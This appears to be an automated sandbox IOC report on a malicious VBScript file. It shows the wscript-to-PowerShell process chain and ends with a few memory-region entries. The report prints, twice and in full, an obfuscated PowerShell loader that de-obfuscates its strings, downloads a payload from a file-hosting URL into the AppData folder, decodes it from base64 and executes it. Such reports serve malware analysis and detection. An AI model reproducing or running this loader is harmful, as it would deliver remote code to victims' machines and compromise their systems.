IOC Report
2669976595_366408723_KHI_SOF_240702_0957_P.vbs

2669976595_366408723_KHI_SOF_240702_0957_P.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2669976595_366408723_KHI_SOF_240702_0957_P.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'aflytningsudstyrene Sortkridtstegningerne myoparalysis Rivinian Undgldes Chowtime Anodynia Betoningerne Blyantstegninger Frydefuld Whacker Prvekrt Kendemrket Fjernsynets Oligocarpous Hawkshaws Underlegenhedsflelserne Sortspttes Boleroers Opklares Kamsin Archin intetanendes Exhaustibility aflytningsudstyrene Sortkridtstegningerne myoparalysis Rivinian Undgldes Chowtime Anodynia Betoningerne Blyantstegninger Frydefuld Whacker Prvekrt Kendemrket Fjernsynets Oligocarpous Hawkshaws Underlegenhedsflelserne Sortspttes Boleroers Opklares Kamsin Archin intetanendes Exhaustibility';If (${host}.CurrentCulture) {$reinvigorate++;}Function Reeling($Takkende){$Mjavende=$Takkende.Length-$reinvigorate;$Neocortical='SUBsTRI';$Neocortical+='ng';For( $kngtende=2;$kngtende -lt $Mjavende;$kngtende+=3){$aflytningsudstyrene+=$Takkende.$Neocortical.Invoke( $kngtende, $reinvigorate);}$aflytningsudstyrene;}function Convictively($Mispainted){ . ($Aabningstid) ($Mispainted);}$lignings=Reeling ' ,MHwo,ozSciColP,lKiaOv/Sh5F..Ta0En F(SeW AiNonTcdCioB,wH,sTe FlN KTSk Fi1.y0Fo.C 0Ly;U. ,WStiSpn l6be4ei; , .kx u6 ,4,i;In LorInvun: a1Ac2Ag1F .Be0,i)Af ,oG aesicKakdeo S/Sk2Ir0Ny1Ol0Ou0Op1Fl0Sa1K, DeFReiRerYdeRafEso,axOp/ u1 S2 ,1Sk.Be0M, ';$Triatomicity=Reeling 'InUP s,ue SrCa-NoAOeg iefinVat a ';$Undgldes=Reeling ' Fh At,etCep ks P:In/Dr/Sed,lrt,iO.vSueCh. VgVao ,oPegBalCaee .LecFroS,m.a/M.u ecSe?B,e,hx npDioA,r.atLn=PodWaoR.wS,nGol GoS a.rd T&F,iSjdSt= P1anX SwObI.aR rDiEl,g ytAfX .8Ude ,QPuUTii.seMaZWhQSe- FQt.rLa9PrkStkMeHRe3PrQMuyAf6 ,a DiGos.gxSu ';$Alytes=Reeling ' G>P. ';$Aabningstid=Reeling ',riS.e axEs ';$Proboscidiferous='Betoningerne';$Friluftsmenneskerne = Reeling ' uenycI.h,ro . P%Una MpGop.nd.oa,rtOmaD.%Za\AgNSpoRenZic,hoS nHagA,eGesDrtA,im oB.nHa.A FRaoRer.e La&Ta&Se BaeIncA.hUnoPr sntNs ';Convictively (Reeling 'Di$TigFolTuoWab ea OlHa:,lF u Vs heSttTa=A ( ccSumTrdPs Ho/EncF. U$ rF .r .i ,lEuu uf VtStsSpmDee FnSunFaeArsRokOveGyrFan ,e .) ');Convictively (Reeling 'Re$.egB l ioB.bPlaPil S: R,oi mvEniN nIni .afanFo=sp$aiUCyn TdCag.pl RdReehysNo.sysCopIrl .iSyt .( $olAIml,hyGrt Ue es S) ');Convictively (Reeling 'D,[GlNK.eKatSu.OxS SeKerKov.oi.acO e FPHeoK i,onPet .MBaaBln ,a geleBir U]Bl:C.:SqSste.ecK.uBarN,iPit y BPNer eo FtF oZycPuo Tl.n R =Dr Ca[DiNTreKrtDy.U,SMeeRecSuuFrrU iint IyScPB rExo.st o PcLaoQulTrTAlyBopSte L] V:Tu:,fT MlM sB,1Y 2 u ');$Undgldes=$Rivinian[0];$Rengringsmidlets= (Reeling 'Pu$Q,gBal ,oLubP.aN,lPi:MeOM,pHagS.rVea.ivGueS.= ,N neRyw .-,lO Db Bj MeNocAptDe FSS.yPosUdtC,egom.d.HvN SeInt o.G.WSpe ObH CM,lAliWoe n At');$Rengringsmidlets+=$Fuset[1];Convictively ($Rengringsmidlets);Convictively (Reeling 'No$S,OB.pBagMor.aaF vBoe x.,eHskeTraKddTae .rA,s S[Be$GoT,arM,iBiaKnt Ko Sm RiTic.ri Ft yDe]L.=F.$ BlAfiPogArnF,i AnElgOvsfo ');$promachos=Reeling ' S$OsO ,p GgCorU,aGsvSkeK,.FrDIno ,wPrnB,lOfo RaKadGaF,ni lP eB.(B,$SaU.onirdGegfal bdSueBrs S, .$TeASqr ,cF,h,ni TnIn)Am ';$Archin=$Fuset[0];Convictively (Reeling ',a$Fog tlSuoAlbIna.alMa:G.R .e,erN aYakMaeGa= e(InT Se.lsVit C- aP.raCotGehCh Di$F,AUnr.ic ghUfi fn L)Di ');while (!$Rerake) {Convictively (Reeling 'Op$.vgHylReoF.b ha Al D:TuST tAuoSurDimb a Ds tC.=Ro$ FtG.rMaulyeDr ') ;Convictively $promachos;Convictively (Reeling ' USGatBraTar Pt B-AuSG.l eeCheUnp H ,r4Ez ');Convictively (Reeling ' U$A,g PlBloa,bPeaKllCe:FoRP.ePhrPraVakt,e ,=An(flTRoeC,sGytse-T.P,iaS teghRe Ut$S.A Hr ncsah EiH.nLi)Tu ') ;Convictively (Reeling ',i$SagSklfooslbPha VlEl: EmCiy koidpMua tr Da olI y,ns.oiBusK,=.v$LegUmlVkoLibMaaH l F: .S foOur yt.rkF.r GiV.di.tI sSat eElgFrnL,iConOsgSoeKarSun,teBr+An+F %Bi$PeR,piPrvSciRenAtiQuaU nMi. CcSeoHauConE,tHv ') ;$Undgldes=$Rivinian[$myoparalysis];}$Forblndede=332547;$Antisiphon=26001;Convictively (Reeling ' u$ lgLel,eoBebUnaTal :MaBP,lU.yT,a SnAmt Ws tEne EgG n oi EnBrg.seOvrVi I=N gGSke t .-SpC boUdn.ut Ce Dn .t na$ AAF,rEfc Th Si.nnEt ');Convictively (Reeling ' T$G,gB lFeoReb GaTrl P:HeSFukheiSem,omE.ePht S St=Oc Ve[TrS Sy.us StR,eBemPr.L,CAdo ,n .vIne ,rCatBa].o: b: FG.r ,o,amDiBCha Ds ,eTr6s.4H S,et rP,iM n Ag B( .$saBSalMoyB,aF,n,atU.sArt ,e xgSpn,liRlntrgInestrBe)Z. ');Convictively (Reeling 'Ta$H,g .lShoNub AaK.lCe:ChPJorRev MeFlkSprDetLi S =my T.[ USR.yU,sEntTreBomT .OtTPre Mx,ft ,.ThE nApcVao AdTaiHanDjgM ]Gr:Pa:BaA S.oC I,xISt.s GMyeFot,tSI tRir Cio nF.gRa( T$ MS,bkNaiLem imVaeFotI,)Ta ');Convictively (Reeling 'Co$Bug ,lMoo bReaFal R:.yB.ne prK.cMae Eaa uSa=Ko$DePf.rT vsoe KkVorElt ,. sViu ob Cs Mt .rOpiLin SgNn(Jo$emF loDerCibBolArn KdumeStdFoeSp,Hj$ EA Bn,rt NiFrsT,iBrpShhR.oFynPa) G ');Convictively $Berceau;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'aflytningsudstyrene Sortkridtstegningerne myoparalysis Rivinian Undgldes Chowtime Anodynia Betoningerne Blyantstegninger Frydefuld Whacker Prvekrt Kendemrket Fjernsynets Oligocarpous Hawkshaws Underlegenhedsflelserne Sortspttes Boleroers Opklares Kamsin Archin intetanendes Exhaustibility aflytningsudstyrene Sortkridtstegningerne myoparalysis Rivinian Undgldes Chowtime Anodynia Betoningerne Blyantstegninger Frydefuld Whacker Prvekrt Kendemrket Fjernsynets Oligocarpous Hawkshaws Underlegenhedsflelserne Sortspttes Boleroers Opklares Kamsin Archin intetanendes Exhaustibility';If (${host}.CurrentCulture) {$reinvigorate++;}Function Reeling($Takkende){$Mjavende=$Takkende.Length-$reinvigorate;$Neocortical='SUBsTRI';$Neocortical+='ng';For( $kngtende=2;$kngtende -lt $Mjavende;$kngtende+=3){$aflytningsudstyrene+=$Takkende.$Neocortical.Invoke( $kngtende, $reinvigorate);}$aflytningsudstyrene;}function Convictively($Mispainted){ . ($Aabningstid) ($Mispainted);}$lignings=Reeling ' ,MHwo,ozSciColP,lKiaOv/Sh5F..Ta0En F(SeW AiNonTcdCioB,wH,sTe FlN KTSk Fi1.y0Fo.C 0Ly;U. ,WStiSpn l6be4ei; , .kx u6 ,4,i;In LorInvun: a1Ac2Ag1F .Be0,i)Af ,oG aesicKakdeo S/Sk2Ir0Ny1Ol0Ou0Op1Fl0Sa1K, DeFReiRerYdeRafEso,axOp/ u1 S2 ,1Sk.Be0M, ';$Triatomicity=Reeling 'InUP s,ue SrCa-NoAOeg iefinVat a ';$Undgldes=Reeling ' Fh At,etCep ks P:In/Dr/Sed,lrt,iO.vSueCh. VgVao ,oPegBalCaee .LecFroS,m.a/M.u ecSe?B,e,hx npDioA,r.atLn=PodWaoR.wS,nGol GoS a.rd T&F,iSjdSt= P1anX SwObI.aR rDiEl,g ytAfX .8Ude ,QPuUTii.seMaZWhQSe- FQt.rLa9PrkStkMeHRe3PrQMuyAf6 ,a DiGos.gxSu ';$Alytes=Reeling ' G>P. ';$Aabningstid=Reeling ',riS.e axEs ';$Proboscidiferous='Betoningerne';$Friluftsmenneskerne = Reeling ' uenycI.h,ro . P%Una MpGop.nd.oa,rtOmaD.%Za\AgNSpoRenZic,hoS nHagA,eGesDrtA,im oB.nHa.A FRaoRer.e La&Ta&Se BaeIncA.hUnoPr sntNs ';Convictively (Reeling 'Di$TigFolTuoWab ea OlHa:,lF u Vs heSttTa=A ( ccSumTrdPs Ho/EncF. U$ rF .r .i ,lEuu uf VtStsSpmDee FnSunFaeArsRokOveGyrFan ,e .) ');Convictively (Reeling 'Re$.egB l ioB.bPlaPil S: R,oi mvEniN nIni .afanFo=sp$aiUCyn TdCag.pl RdReehysNo.sysCopIrl .iSyt .( $olAIml,hyGrt Ue es S) ');Convictively (Reeling 'D,[GlNK.eKatSu.OxS SeKerKov.oi.acO e FPHeoK i,onPet .MBaaBln ,a geleBir U]Bl:C.:SqSste.ecK.uBarN,iPit y BPNer eo FtF oZycPuo Tl.n R =Dr Ca[DiNTreKrtDy.U,SMeeRecSuuFrrU iint IyScPB rExo.st o PcLaoQulTrTAlyBopSte L] V:Tu:,fT MlM sB,1Y 2 u ');$Undgldes=$Rivinian[0];$Rengringsmidlets= (Reeling 'Pu$Q,gBal ,oLubP.aN,lPi:MeOM,pHagS.rVea.ivGueS.= ,N neRyw .-,lO Db Bj MeNocAptDe FSS.yPosUdtC,egom.d.HvN SeInt o.G.WSpe ObH CM,lAliWoe n At');$Rengringsmidlets+=$Fuset[1];Convictively ($Rengringsmidlets);Convictively (Reeling 'No$S,OB.pBagMor.aaF vBoe x.,eHskeTraKddTae .rA,s S[Be$GoT,arM,iBiaKnt Ko Sm RiTic.ri Ft yDe]L.=F.$ BlAfiPogArnF,i AnElgOvsfo ');$promachos=Reeling ' S$OsO ,p GgCorU,aGsvSkeK,.FrDIno ,wPrnB,lOfo RaKadGaF,ni lP eB.(B,$SaU.onirdGegfal bdSueBrs S, .$TeASqr ,cF,h,ni TnIn)Am ';$Archin=$Fuset[0];Convictively (Reeling ',a$Fog tlSuoAlbIna.alMa:G.R .e,erN aYakMaeGa= e(InT Se.lsVit C- aP.raCotGehCh Di$F,AUnr.ic ghUfi fn L)Di ');while (!$Rerake) {Convictively (Reeling 'Op$.vgHylReoF.b ha Al D:TuST tAuoSurDimb a Ds tC.=Ro$ FtG.rMaulyeDr ') ;Convictively $promachos;Convictively (Reeling ' USGatBraTar Pt B-AuSG.l eeCheUnp H ,r4Ez ');Convictively (Reeling ' U$A,g PlBloa,bPeaKllCe:FoRP.ePhrPraVakt,e ,=An(flTRoeC,sGytse-T.P,iaS teghRe Ut$S.A Hr ncsah EiH.nLi)Tu ') ;Convictively (Reeling ',i$SagSklfooslbPha VlEl: EmCiy koidpMua tr Da olI y,ns.oiBusK,=.v$LegUmlVkoLibMaaH l F: .S foOur yt.rkF.r GiV.di.tI sSat eElgFrnL,iConOsgSoeKarSun,teBr+An+F %Bi$PeR,piPrvSciRenAtiQuaU nMi. CcSeoHauConE,tHv ') ;$Undgldes=$Rivinian[$myoparalysis];}$Forblndede=332547;$Antisiphon=26001;Convictively (Reeling ' u$ lgLel,eoBebUnaTal :MaBP,lU.yT,a SnAmt Ws tEne EgG n oi EnBrg.seOvrVi I=N gGSke t .-SpC boUdn.ut Ce Dn .t na$ AAF,rEfc Th Si.nnEt ');Convictively (Reeling ' T$G,gB lFeoReb GaTrl P:HeSFukheiSem,omE.ePht S St=Oc Ve[TrS Sy.us StR,eBemPr.L,CAdo ,n .vIne ,rCatBa].o: b: FG.r ,o,amDiBCha Ds ,eTr6s.4H S,et rP,iM n Ag B( .$saBSalMoyB,aF,n,atU.sArt ,e xgSpn,liRlntrgInestrBe)Z. ');Convictively (Reeling 'Ta$H,g .lShoNub AaK.lCe:ChPJorRev MeFlkSprDetLi S =my T.[ USR.yU,sEntTreBomT .OtTPre Mx,ft ,.ThE nApcVao AdTaiHanDjgM ]Gr:Pa:BaA S.oC I,xISt.s GMyeFot,tSI tRir Cio nF.gRa( T$ MS,bkNaiLem imVaeFotI,)Ta ');Convictively (Reeling 'Co$Bug ,lMoo bReaFal R:.yB.ne prK.cMae Eaa uSa=Ko$DePf.rT vsoe KkVorElt ,. sViu ob Cs Mt .rOpiLin SgNn(Jo$emF loDerCibBolArn KdumeStdFoeSp,Hj$ EA Bn,rt NiFrsT,iBrpShhR.oFynPa) G ');Convictively $Berceau;"

632B000

trusted library allocation

page read and write

247F39E9000

trusted library allocation

page read and write